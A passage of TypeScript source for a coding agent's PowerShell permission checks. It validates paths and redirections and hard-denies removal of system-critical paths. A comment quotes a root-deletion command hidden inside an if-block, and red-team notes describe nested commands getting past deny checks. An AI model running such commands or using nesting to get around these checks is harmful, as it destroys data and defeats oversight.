1781                suggestions.push(suggestion)
1782              }
1783            } else {
1784              suggestions.push({
1785                type: 'addDirectories',
1786                directories: [getDirectoryForPath(resolvedPath)],
1787                destination: 'session',
1788              })
1789            }
1790          }
1791  
1792          if (operationType === 'write' || operationType === 'create') {
1793            suggestions.push({
1794              type: 'setMode',
1795              mode: 'acceptEdits',
1796              destination: 'session',
1797            })
1798          }
1799  
1800          firstAsk ??= {
1801            behavior: 'ask',
1802            message,
1803            blockedPath: resolvedPath,
1804            decisionReason,
1805            suggestions,
1806          }
1807        }
1808      }
1809    }
1810  
1811    // Also check nested commands from control flow
1812    if (statement.nestedCommands) {
1813      for (const cmd of statement.nestedCommands) {
1814        const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } =
1815          extractPathsFromCommand(cmd)
1816  
1817        if (hasUnvalidatablePathArg) {
1818          const canonical = resolveToCanonical(cmd.name)
1819          firstAsk ??= {
1820            behavior: 'ask',
1821            message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
1822          }
1823          // Don't continue — fall through to path loop for deny checks.
1824        }
1825  
1826        // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
1827        // optionalWrite cmdlets exempt — see main-loop comment.
1828        if (
1829          operationType !== 'read' &&
1830          !optionalWrite &&
1831          paths.length === 0 &&
1832          CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
1833        ) {
1834          const canonical = resolveToCanonical(cmd.name)
1835          firstAsk ??= {
1836            behavior: 'ask',
1837            message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
1838          }
1839          continue
1840        }
1841  
1842        // SECURITY: bash-parity hard-deny for removal on system-critical
1843        // paths — mirror the main-loop check above. Without this,
1844        // `if ($true) { Remove-Item / }` routes through nestedCommands and
1845        // downgrades deny→ask, letting the user approve root deletion.
1846        const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
1847  
1848        for (const filePath of paths) {
1849          // Check the RAW path first (pre-realpath); see main-loop comment.
1850          if (isRemoval && isDangerousRemovalRawPath(filePath)) {
1851            return dangerousRemovalDeny(filePath)
1852          }
1853  
1854          const { allowed, resolvedPath, decisionReason } = validatePath(
1855            filePath,
1856            cwd,
1857            toolPermissionContext,
1858            operationType,
1859          )
1860  
1861          if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
1862            return dangerousRemovalDeny(resolvedPath)
1863          }
1864  
1865          if (!allowed) {
1866            const canonical = resolveToCanonical(cmd.name)
1867            const workingDirs = Array.from(
1868              allWorkingDirectories(toolPermissionContext),
1869            )
1870            const dirListStr = formatDirectoryList(workingDirs)
1871  
1872            const message =
1873              decisionReason?.type === 'other' ||
1874              decisionReason?.type === 'safetyCheck'
1875                ? decisionReason.reason
1876                : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
1877  
1878            if (decisionReason?.type === 'rule') {
1879              return {
1880                behavior: 'deny',
1881                message,
1882                decisionReason,
1883              }
1884            }
1885  
1886            const suggestions: PermissionUpdate[] = []
1887            if (resolvedPath) {
1888              if (operationType === 'read') {
1889                const suggestion = createReadRuleSuggestion(
1890                  getDirectoryForPath(resolvedPath),
1891                  'session',
1892                )
1893                if (suggestion) {
1894                  suggestions.push(suggestion)
1895                }
1896              } else {
1897                suggestions.push({
1898                  type: 'addDirectories',
1899                  directories: [getDirectoryForPath(resolvedPath)],
1900                  destination: 'session',
1901                })
1902              }
1903            }
1904  
1905            if (operationType === 'write' || operationType === 'create') {
1906              suggestions.push({
1907                type: 'setMode',
1908                mode: 'acceptEdits',
1909                destination: 'session',
1910              })
1911            }
1912  
1913            firstAsk ??= {
1914              behavior: 'ask',
1915              message,
1916              blockedPath: resolvedPath,
1917              decisionReason,
1918              suggestions,
1919            }
1920          }
1921        }
1922  
1923        // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
1924        // catches this via the same synthetic-CommandExpressionAst mechanism —
1925        // this is belt-and-suspenders so the nested loop doesn't rely on that
1926        // accident. Placed AFTER the path loop so specific asks (blockedPath,
1927        // suggestions) win via ??=.
1928        if (hasExpressionPipelineSource) {
1929          firstAsk ??= {
1930            behavior: 'ask',
1931            message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
1932          }
1933        }
1934      }
1935    }
1936  
1937    // Check redirections on nested commands (e.g., from && / || chains)
1938    if (statement.nestedCommands) {
1939      for (const cmd of statement.nestedCommands) {
1940        if (cmd.redirections) {
1941          for (const redir of cmd.redirections) {
1942            if (redir.isMerging) continue
1943            if (!redir.target) continue
1944            if (isNullRedirectionTarget(redir.target)) continue
1945  
1946            const { allowed, resolvedPath, decisionReason } = validatePath(
1947              redir.target,
1948              cwd,
1949              toolPermissionContext,
1950              'create',
1951            )
1952  
1953            if (!allowed) {
1954              const workingDirs = Array.from(
1955                allWorkingDirectories(toolPermissionContext),
1956              )
1957              const dirListStr = formatDirectoryList(workingDirs)
1958  
1959              const message =
1960                decisionReason?.type === 'other' ||
1961                decisionReason?.type === 'safetyCheck'
1962                  ? decisionReason.reason
1963                  : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
1964  
1965              if (decisionReason?.type === 'rule') {
1966                return {
1967                  behavior: 'deny',
1968                  message,
1969                  decisionReason,
1970                }
1971              }
1972  
1973              firstAsk ??= {
1974                behavior: 'ask',
1975                message,
1976                blockedPath: resolvedPath,
1977                decisionReason,
1978                suggestions: [
1979                  {
1980                    type: 'addDirectories',
1981                    directories: [getDirectoryForPath(resolvedPath)],
1982                    destination: 'session',
1983                  },
1984                ],
1985              }
1986            }
1987          }
1988        }
1989      }
1990    }
1991  
1992    // Check file redirections
1993    if (statement.redirections) {
1994      for (const redir of statement.redirections) {
1995        if (redir.isMerging) continue
1996        if (!redir.target) continue
1997        if (isNullRedirectionTarget(redir.target)) continue
1998  
1999        const { allowed, resolvedPath, decisionReason } = validatePath(
2000          redir.target,
2001          cwd,
2002          toolPermissionContext,
2003          'create',
2004        )
2005  
2006        if (!allowed) {
2007          const workingDirs = Array.from(
2008            allWorkingDirectories(toolPermissionContext),
2009          )
2010          const dirListStr = formatDirectoryList(workingDirs)
2011  
2012          const message =
2013            decisionReason?.type === 'other' ||
2014            decisionReason?.type === 'safetyCheck'
2015              ? decisionReason.reason
2016              : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
2017  
2018          if (decisionReason?.type === 'rule') {
2019            return {
2020              behavior: 'deny',
2021              message,
2022              decisionReason,
2023            }
2024          }
2025  
2026          firstAsk ??= {
2027            behavior: 'ask',
2028            message,
2029            blockedPath: resolvedPath,
2030            decisionReason,
2031            suggestions: [
2032              {
2033                type: 'addDirectories',
2034                directories: [getDirectoryForPath(resolvedPath)],
2035                destination: 'session',
2036              },
2037            ],
2038          }
2039        }
2040      }
2041    }
2042  
2043    return (
2044      firstAsk ?? {
2045        behavior: 'passthrough',
2046        message: 'All path constraints validated successfully',
2047      }
2048    )
2049  }